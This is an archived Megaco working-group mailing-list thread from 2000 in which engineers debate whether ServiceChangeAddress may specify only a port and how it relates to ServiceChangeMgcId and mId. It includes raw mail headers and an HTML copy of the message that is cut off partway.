> > > > > > to tear down it's current transport connection, create
> > > a new one,
> > > > > > and stand by for messages from the MGC, then I suppose
> > > > you would be
> > > > > > correct.
> > > > > >
> > > > > > If it was TCP (and I guess SCTP), this is pretty weird,
> > > > because the
> > > > > > MG established a full duplex connection, but the
> next message is
> > > > > > almost certainly from the MGC.  The MGC is going to have
> > > > to watch for
> > > > > > this carefully, and not send messages until the new
> > > channel is up.
> > > > > >
> > > > > > Or, the MGC can just use ServiceChangeMid.  The MG will
> > > respond by
> > > > > > tearing down the transport, establishing a new one,
> and sending
> > > > > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > > > > ServiceChange, at the "new" address, looks like a
> > > > complete new start.
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > -----Original Message-----
> > > > > > From: Christian Groves
> > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Sent: 9/3/00 7:38 PM
> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > >
> > > > > > G'Day Brian and Flemming,
> > > > > >
> > > > > > I saw that the difference between when you use
> > > > ServiceChangeAddress and
> > > > > > ServiceChangeMid was that the ServiceChangeAddress was
> > > > used when talking
> > > > > > to an already contacted physical MGC. The
> > > > ServiceChangeMid was used to
> > > > > > contact a physically seperate MGC. So I don't see
> the need of
> > > > > > disallowing anything but the port in IP as the MGC may
> > > > have a range of
> > > > > > addresses.
> > > > > >
> > > > > > Cheers, Christian
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > I thought you might say that, I've been thinking about it
> > > > > > > since I sent the message.
> > > > > > >
> > > > > > > Posing the question slightly differently, if the
> > > > ServiceChangeAddress
> > > > > > > can do what ServiceChangeMid can do, so why have two
> > > mechanisms?
> > > > > > > The only difference would be the MGs actions.  If you used
> > > > > > > ServiceChangeAddress,
> > > > > > > the MG would not send a new ServiceChange command to
> > > > the new address.
> > > > > > > If you used ServiceChangeMid, it would.  The end result
> > > > would be the
> > > > > > same.
> > > > > > >
> > > > > > > We can:
> > > > > > >         Explicitly disallow ServiceChangeAddress from
> > > > being used to
> > > > > > >                 change anything but IP Port when
> used with IP
> > > > > > >         Get rid of one of the two of them
> > > > > > >
> > > > > > > I favor the former, as that is easiest, is most
> > > consistent with
> > > > > > > history, and makes the most sense to me.  I'll
> note that what
> > > > > > > we call ServiceChangeAddress used to be "port".  It got
> > > > > > > changed when we realized "port" wouldn't make
> sense if it was
> > > > > > > not an IP transport.
> > > > > > >
> > > > > > > Brian
> > > > > > >
> > > > > > > > -----Original Message-----
> > > > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > > > > To: Rosen, Brian
> > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > Subject: Re: Supplying only a port on a
> ServiceChangeAddress
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > "Rosen, Brian" wrote:
> > > > > > > >
> > > > > > > > > I think the issue is that you can have the same MGC
> > > > have multiple
> > > > > > > > > IP addresses.  You accept the association, but
> > > > change the address.
> > > > > > > > > Say, a pool of servers appearing to be one MGC.
> > > > > > > >
> > > > > > > > I'm not sure I fully understand what an
> association is then.
> > > > > > > > What's the
> > > > > > > > difference/relationship between the association
> > > > address and the
> > > > > > > > ServiceChangeMgcId (which may itself contain an
> address or
> > > > > > indirectly
> > > > > > > > refer to a number of addresses through DNS) ?
> > > > > > > >
> > > > > > > > -- Flemming
> > > > > > > >
> > > > > > > >
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > Brian
> > > > > > > > >
> > > > > > > > > > -----Original Message-----
> > > > > > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > > > > To: Rosen, Brian
> > > > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > > > Subject: Re: Supplying only a port on a
> > > > ServiceChangeAddress
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > > "Rosen, Brian" wrote:
> > > > > > > > > >
> > > > > > > > > > > Suppose all you want to specify in a
> > > > ServiceChangeAddress
> > > > > > > > > > is a port number
> > > > > > > > > > > that is, the IP address doesn't change, but the
> > > > port does.
> > > > > > > > > > >
> > > > > > > > > > > The ABNF sez:
> > > > > > > > > > > serviceChangeAddress =
> > > > ServiceChangeAddressToken EQUAL VALUE
> > > > > > > > > > >
> > > > > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > > > > >
> > > > > > > > > > > The example shows just a port number.
> > > > > > > > > >
> > > > > > > > > > Actually, I thought that's all that would be
> > > > allowed in the
> > > > > > > > > > case of IP. If
> > > > > > > > > > not, how can it be within the "context of the
> > > association
> > > > > > > > > > currently being
> > > > > > > > > > negotiated", and how would it then relate to
> > > > ServiceChangeMgcId
> > > > > > ?
> > > > > > > > > >
> > > > > > > > > > -- Flemming
> > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > > Should that be legal?  Should you have to
> > > specify the IP
> > > > > > address
> > > > > > > > > > > as x.x.x.x:p?
> > > > > > > > > > >
> > > > > > > > > > > Brian
> > > > > > > > > >
> > > > > > > > > > --
> > > > > > > > > > Flemming Andreasen
> > > > > > > > > > Cisco Systems
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > >
> > > > > > > > --
> > > > > > > > Flemming Andreasen
> > > > > > > > Cisco Systems
> > > > > > > >
> > > > > > > >
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > >
>
> --
> Flemming Andreasen
> Cisco Systems
>
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 15:28:35 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA21279
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 15:28:33 -0400 (EDT)
Received: from standards (47.234.32.16:1925) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90D56@standards.nortelnetworks.com>; Wed, 6 Sep 2000 13:58:48 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20721 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 13:58:48 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90D55@standards.nortelnetworks.com>; Wed, 6 Sep 2000 13:58:46
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA11856; Wed, 6 Sep 2000 14:11:46 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA25904; Wed, 6 Sep 2000 14:11:46 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XHT08>; Wed, 6 Sep 2000 14:11:47 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0182D.E696EEA0"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678815@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 6 Sep 2000 14:11:38 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Tom-PT Taylor <taylor@nortelnetworks.com>,
              Flemming Andreasen <fandreas@cisco.com>,
              Bharat Kaul <bharat@TRILLIUM.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0182D.E696EEA0
Content-Type: text/plain;
        charset="iso-8859-1"



OK, I'd say we have consensus on the following:

(1) As oft repeated, the mId designates a peer in a control session.  It
does not change even if the addresses used in the session change.  Different
port addresses could be used to designate different virtual MGs, but this is
a local implementation issue.

I'm assuming here that you mean mId, the thing that goes in every message,
and that there is no arbitrary changing of it - changes get signalled in
ServiceChange.  mId serves to identify which association this message refers
to.  Given those caveats, I agree.

(2) ServiceChangeAddress can be used to change the address to which the peer
sends requests within the existing control session.  The ABNF syntax of
ServiceChangeAddress is VALUE, which permits designation of a port only
within a quoted string.  The difference between this and the ASN.1 syntax is
what started this whole thread, but is irrelevant because the functionality
is still available.  There is the legitimate question of whether the
ServiceChangeAddress functionality is needed.  I'm not sure I have consensus
to deprecate use of ServiceChangeAddress.

I'd like to see if we could develop a consensus, but I can live with it.

I'm still concerned about the difficulty of changing address, or port, with
TCP transport.  We need at least a note of caution in the Implementers
Guide.

(3) ServiceChangeMGgcId is used to redirect the control session.  The ABNF
type of ServiceChangeMgcId is MId, which presumably is why MId is so
carefully developed as an address.

Yes!

There is an open issue regarding TCP.  That is, is everyone prepared to
accept the restriction Bharat wants to place on TCP, to the effect that the
MG is never a listener?

Yes!

Brian

> -----Original Message-----
> From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> Sent: Wednesday, September 06, 2000 10:39 AM
> To: Rosen, Brian; Taylor, Tom-PT [NORSE:B901:EXCH]; Bharat Kaul
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> So do we have any consensus resolution on this issue ?
>
> -- Flemming
>
> "Rosen, Brian" wrote:
>
> > Yeah, the mId started life as the thing in the header that let an
> > MGC know which entity it was talking to.  It's always been an
> > address though - desirable as an FQDN and acceptable to be a hard
> > address.
> >
> > The intention of ServiceChangeMid was to be the referral
> address for an
> > association that was not acceptable to the MGC.
> ServiceChangeAddress used
> > to be port, and it was just for changing port numbers, not
> addresses.  We
> > went downhill (IMO) from there.
> >
> > I'm with Flemming, one thing is all we need, but we are
> stuck with 2 for
> > now.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [ mailto:taylor@NORTELNETWORKS.COM
<mailto:taylor@NORTELNETWORKS.COM> ]
> > > Sent: Tuesday, September 05, 2000 3:16 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > > I think we agree that MId is just an identifier of a peer
> in a control
> > > session.  I still ask myself why we defined it to be an
> > > address rather than
> > > an arbitrary string.  I suspect we changed intentions since
> > > it first showed
> > > up.
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [ mailto:fandreas@CISCO.COM
<mailto:fandreas@CISCO.COM> ]
> > > > Sent: Tuesday, September 05, 2000 3:12 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > >
> > > > Bharat Kaul wrote:
> > > >
> > > > > Hi Flemming, Brian and List,
> > > > >
> > > > >   ServiceChangeMGCId should be kept for contacting a new
> > > > MGC or rather
> > > > > establishing new control Session.
> > > > >
> > > > > ServiceChangeAddress is for redirection within a MGC e.g.
> > > > MG contacts MGC at
> > > > > a default port and based on some policy MGC wants to assign
> > > > MG to a specific
> > > > > port, it should send ServiceChangeAddress specifying the
> > > > port.These two
> > > > > semantics seem clear and fair enough.
> > > >
> > > > I quite frankly don't understand the need for having port as
> > > > an identifier and
> > > > then being able to specify another port to override it, while
> > > > keeping the
> > > > identifier port the same.
> > > >
> > > >
> > > > >
> > > > >
> > > > > Port in MID should be just a tool to identify an entity
> > > > uniquely, with one
> > > > > requirement that MID for a control session is consistent
> > > between two
> > > > > entities.
> > > >
> > > > In that case it should be called something different than a
> > > > port, or at least be
> > > > treated as something different.
> > > >
> > > > -- Flemming
> > > >
> > > >
> > > > >
> > > > >
> > > > > - Bharat
> > > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [ mailto:fandreas@CISCO.COM
<mailto:fandreas@CISCO.COM> ]
> > > > > Sent: Tuesday, September 05, 2000 8:29 AM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > > Let's take a step back here and ask ourselves what we are
> > > > trying to achieve:
> > > > >
> > > > > 1. We have a need to identify the entity we wish to
> > > communicate with
> > > > > 2. We have a need to communicate with that entity.
> > > > >
> > > > > This is a classical naming issue that doesn't need to
> > > become overly
> > > > > complicated. In order to get from the name in 1 to the
> > > > address (or route) in
> > > > > 2, you need to perform name resolution in the cases where
> > > > the name itself is
> > > > > not an address. For domain names, this name resolution is
> > > > achieved by DNS,
> > > > > for IP-addresses, it should normally be a NOP. By having both
> > > > > ServiceChangeMGGId and ServiceChangeAddress, you are
> > > > effectively providing
> > > > > an alternate name resolution mechanism which overrides DNS
> > > > and allows one
> > > > > IP-address to map to another. We should not be doing that,
> > > > and I also note
> > > > > that this was probably not the authors' intent, since
> > > > ServiceChangeAddress
> > > > > and ServiceChangeMGCId are not both allowed in a
> single command.
> > > > >
> > > > > That still leaves open the question of exactly what
> > > > ServiceChangeAddress
> > > > > then is, and I believe Brian answered that earlier with his
> > > > two proposals.
> > > > > In a perfect world, I would prefer getting rid of
> > > > ServiceChangeAddress, but
> > > > > we may be beyond that. Does it make sense to allow just a
> > > > port number then ?
> > > > > Considering that we already allow for port in mId, port is
> > > > part of the name
> > > > > and for the same reasons as we shouldn't map one IP-address
> > > > to another, we
> > > > > shouldn't map one port to another either IMO. If the MGC
> > > > (or MG) wants the
> > > > > other party to talk to it on another port, it simply sends
> > > > back another
> > > > > ServiceChangeMGCId with that port number in it.
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > It depends on what you want to have happen.
> > > > > >
> > > > > > If you want the MG, on receipt of a reply with a
> > > > ServiceChangeAddress,
> > > > > > to tear down it's current transport connection, create
> > > a new one,
> > > > > > and stand by for messages from the MGC, then I suppose
> > > > you would be
> > > > > > correct.
> > > > > >
> > > > > > If it was TCP (and I guess SCTP), this is pretty weird,
> > > > because the
> > > > > > MG established a full duplex connection, but the
> next message is
> > > > > > almost certainly from the MGC.  The MGC is going to have
> > > > to watch for
> > > > > > this carefully, and not send messages until the new
> > > channel is up.
> > > > > >
> > > > > > Or, the MGC can just use ServiceChangeMid.  The MG will
> > > respond by
> > > > > > tearing down the transport, establishing a new one,
> and sending
> > > > > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > > > > ServiceChange, at the "new" address, looks like a
> > > > complete new start.
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > -----Original Message-----
> > > > > > From: Christian Groves
> > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Sent: 9/3/00 7:38 PM
> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > >
> > > > > > G'Day Brian and Flemming,
> > > > > >
> > > > > > I saw that the difference between when you use
> > > > ServiceChangeAddress and
> > > > > > ServiceChangeMid was that the ServiceChangeAddress was
> > > > used when talking
> > > > > > to an already contacted physical MGC. The
> > > > ServiceChangeMid was used to
> > > > > > contact a physically seperate MGC. So I don't see
> the need of
> > > > > > disallowing anything but the port in IP as the MGC may
> > > > have a range of
> > > > > > addresses.
> > > > > >
> > > > > > Cheers, Christian
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > I thought you might say that, I've been thinking about it
> > > > > > > since I sent the message.
> > > > > > >
> > > > > > > Posing the question slightly differently, if the
> > > > ServiceChangeAddress
> > > > > > > can do what ServiceChangeMid can do, so why have two
> > > mechanisms?
> > > > > > > The only difference would be the MGs actions.  If you used
> > > > > > > ServiceChangeAddress,
> > > > > > > the MG would not send a new ServiceChange command to
> > > > the new address.
> > > > > > > If you used ServiceChangeMid, it would.  The end result
> > > > would be the
> > > > > > same.
> > > > > > >
> > > > > > > We can:
> > > > > > >         Explicitly disallow ServiceChangeAddress from
> > > > being used to
> > > > > > >                 change anything but IP Port when
> used with IP
> > > > > > >         Get rid of one of the two of them
> > > > > > >
> > > > > > > I favor the former, as that is easiest, is most
> > > consistent with
> > > > > > > history, and makes the most sense to me.  I'll
> note that what
> > > > > > > we call ServiceChangeAddress used to be "port".  It got
> > > > > > > changed when we realized "port" wouldn't make
> sense if it was
> > > > > > > not an IP transport.
> > > > > > >
> > > > > > > Brian
> > > > > > >
> > > > > > > > -----Original Message-----
> > > > > > > > From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> > > > > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > > > > To: Rosen, Brian
> > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > Subject: Re: Supplying only a port on a
> ServiceChangeAddress
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > "Rosen, Brian" wrote:
> > > > > > > >
> > > > > > > > > I think the issue is that you can have the same MGC
> > > > have multiple
> > > > > > > > > IP addresses.  You accept the association, but
> > > > change the address.
> > > > > > > > > Say, a pool of servers appearing to be one MGC.
> > > > > > > >
> > > > > > > > I'm not sure I fully understand what an
> association is then.
> > > > > > > > What's the
> > > > > > > > difference/relationship between the association
> > > > address and the
> > > > > > > > ServiceChangeMgcId (which may itself contain an
> address or
> > > > > > indirectly
> > > > > > > > refer to a number of addresses through DNS) ?
> > > > > > > >
> > > > > > > > -- Flemming
> > > > > > > >
> > > > > > > >
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > Brian
> > > > > > > > >
> > > > > > > > > > -----Original Message-----
> > > > > > > > > > From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> > > > > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > > > > To: Rosen, Brian
> > > > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > > > Subject: Re: Supplying only a port on a
> > > > ServiceChangeAddress
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > > "Rosen, Brian" wrote:
> > > > > > > > > >
> > > > > > > > > > > Suppose all you want to specify in a
> > > > ServiceChangeAddress
> > > > > > > > > > is a port number
> > > > > > > > > > > that is, the IP address doesn't change, but the
> > > > port does.
> > > > > > > > > > >
> > > > > > > > > > > The ABNF sez:
> > > > > > > > > > > serviceChangeAddress =
> > > > ServiceChangeAddressToken EQUAL VALUE
> > > > > > > > > > >
> > > > > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > > > > >
> > > > > > > > > > > The example shows just a port number.
> > > > > > > > > >
> > > > > > > > > > Actually, I thought that's all that would be
> > > > allowed in the
> > > > > > > > > > case of IP. If
> > > > > > > > > > not, how can it be within the "context of the
> > > association
> > > > > > > > > > currently being
> > > > > > > > > > negotiated", and how would it then relate to
> > > > ServiceChangeMgcId
> > > > > > ?
> > > > > > > > > >
> > > > > > > > > > -- Flemming
> > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > > Should that be legal?  Should you have to
> > > specify the IP
> > > > > > address
> > > > > > > > > > > as x.x.x.x:p?
> > > > > > > > > > >
> > > > > > > > > > > Brian
> > > > > > > > > >
> > > > > > > > > > --
> > > > > > > > > > Flemming Andreasen
> > > > > > > > > > Cisco Systems
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > >
> > > > > > > > --
> > > > > > > > Flemming Andreasen
> > > > > > > > Cisco Systems
> > > > > > > >
> > > > > > > >
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > >
>
> --
> Flemming Andreasen
> Cisco Systems
>
>
>


------_=_NextPart_001_01C0182D.E696EEA0
Content-Type: text/html;
        charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: Supplying only a port on a ServiceChangeAddress</TITLE>

<META content="MSHTML 5.00.3017.1000" name=GENERATOR></HEAD>
<BODY>
<BLOCKQUOTE
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
  size=2></DIV></FONT>
  <P><FONT size=2>OK, I'd say we have consensus on the following:</FONT> </P>
  <P><FONT size=2>(1) As oft repeated, the mId designates a peer in a control
  session.&nbsp; It does not change even if the addresses used in the session
  change.&nbsp; Different port addresses could be used to designate different
  virtual MGs, but this is a local implementation issue.<FONT color=#0000ff
  face=Arial><SPAN class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
  <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
  class=730190518-06092000>I'm assuming here&nbsp;that you mean mId, the thing
  that goes in every message, and that&nbsp;there is no arbitrary changing of it
  - changes get signalled in ServiceChange.&nbsp;&nbsp;mId serves to identify
  which association this message refers to.&nbsp; Given those
  caveats</SPAN></FONT></FONT><FONT size=2><FONT color=#0000ff face=Arial><SPAN
  class=730190518-06092000>, I agree.&nbsp;</SPAN></FONT></FONT></P>
  <P><FONT size=2>(2) ServiceChangeAddress can be used to change the address to
  which the peer sends requests within the existing control session.&nbsp; The
  ABNF syntax of ServiceChangeAddress is VALUE, which permits designation of a
  port only within a quoted string.&nbsp; The difference between this and the
  ASN.1 syntax is what started this whole thread, but is irrelevant because the
  functionality is still available.&nbsp; There is the legitimate question of
  whether the ServiceChangeAddress functionality is needed.&nbsp; I'm not sure I
  have consensus to deprecate use of ServiceChangeAddress.<FONT color=#0000ff
  face=Arial><SPAN class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
  <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
  class=730190518-06092000>I'd like to see if we could develop a consensus, but
  I can live with it.</SPAN></FONT></FONT></P>
  <P><FONT color=#0000ff face=Arial size=2><SPAN class=730190518-06092000>I'm
  still concerned about the difficulty of changing address, or port, with TCP
  transport.&nbsp; We need at least a note of caution in the Implementers
  Guide.</SPAN></FONT></P>
  <P><FONT size=2>(3) ServiceChangeMGgcId is used to redirect the control
  session.&nbsp; The ABNF type of ServiceChangeMgcId is MId, which presumably is
  why MId is so carefully developed as an address.<FONT color=#0000ff
  face=Arial><SPAN class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
  <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
  class=730190518-06092000>Yes!&nbsp;</SPAN></FONT></FONT></P>
  <P><FONT size=2>There is an open issue regarding TCP.&nbsp; That is, is
  everyone prepared to accept the restriction Bharat wants to place on TCP, to
  the effect that the MG is never a listener?<FONT color=#0000ff
  face=Arial><SPAN class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
  <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
  class=730190518-06092000>Yes!</SPAN></FONT></FONT></P>
  <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
  class=730190518-06092000>Brian&nbsp;</SPAN></FONT></FONT></P>
  <P><FONT size=2>&gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt;
  From: Flemming Andreasen [<A
  href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
  <BR><FONT size=2>&gt; Sent: Wednesday, September 06, 2000 10:39 AM</FONT>
  <BR><FONT size=2>&gt; To: Rosen, Brian; Taylor, Tom-PT [NORSE:B901:EXCH];
  Bharat Kaul</FONT> <BR><FONT size=2>&gt; Cc:
  MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; Subject: Re:
  Supplying only a port on a ServiceChangeAddress</FONT> <BR><FONT size=2>&gt;
  </FONT><BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; So do we have any
  consensus resolution on this issue ?</FONT> <BR><FONT size=2>&gt;
  </FONT><BR><FONT size=2>&gt; -- Flemming</FONT> <BR><FONT size=2>&gt;
  </FONT><BR><FONT size=2>&gt; "Rosen, Brian" wrote:</FONT> <BR><FONT
  size=2>&gt; </FONT><BR><FONT size=2>&gt; &gt; Yeah, the mId started life as
  the thing in the header that let an</FONT> <BR><FONT size=2>&gt; &gt; MGC know
  which entity it was talking to.&nbsp; It's always been an</FONT> <BR><FONT
  size=2>&gt; &gt; address though - desirable as an FQDN and acceptable to be a
  hard</FONT> <BR><FONT size=2>&gt; &gt; address.</FONT> <BR><FONT size=2>&gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; The intention of ServiceChangeMid was
  to be the referral </FONT><BR><FONT size=2>&gt; address for an</FONT>
  <BR><FONT size=2>&gt; &gt; association that was not acceptable to the
  MGC.&nbsp; </FONT><BR><FONT size=2>&gt; ServiceChangeAddress used</FONT>
  <BR><FONT size=2>&gt; &gt; to be port, and it was just for changing port
  numbers, not </FONT><BR><FONT size=2>&gt; addresses.&nbsp; We</FONT> <BR><FONT
  size=2>&gt; &gt; went downhill (IMO) from there.</FONT> <BR><FONT size=2>&gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; I'm with Flemming, one thing is all we
  need, but we are </FONT><BR><FONT size=2>&gt; stuck with 2 for</FONT>
  <BR><FONT size=2>&gt; &gt; now.</FONT> <BR><FONT size=2>&gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; -----Original Message-----</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; From: Tom-PT Taylor [<A
  href="mailto:taylor@NORTELNETWORKS.COM">mailto:taylor@NORTELNETWORKS.COM</A>]</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; Sent: Tuesday, September 05, 2000 3:16
  PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; To:
  MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  Subject: Re: Supplying only a port on a ServiceChangeAddress</FONT> <BR><FONT
  size=2>&gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; I think we agree that MId is just an identifier of a
  peer </FONT><BR><FONT size=2>&gt; in a control</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; session.&nbsp; I still ask myself why we defined it to be an</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; address rather than</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; an arbitrary string.&nbsp; I suspect we changed
  intentions since</FONT> <BR><FONT size=2>&gt; &gt; &gt; it first showed</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; up.</FONT> <BR><FONT size=2>&gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; -----Original
  Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; From: Flemming
  Andreasen [<A
  href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; Sent: Tuesday, September 05, 2000 3:12
  PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; To:
  MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; Subject: Re: Supplying only a port on a ServiceChangeAddress</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; Bharat Kaul wrote:</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; &gt; Hi Flemming, Brian and List,</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;&nbsp;&nbsp;
  ServiceChangeMGCId should be kept for contacting a new</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; MGC or rather</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; establishing new control Session.</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
  ServiceChangeAddress is for redirection within a MGC e.g.</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; MG contacts MGC at</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; a default port and based on some policy MGC wants to
  assign</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; MG to a specific</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; port, it should send
  ServiceChangeAddress specifying the</FONT> <BR><FONT size=2>&gt; &gt; &gt;
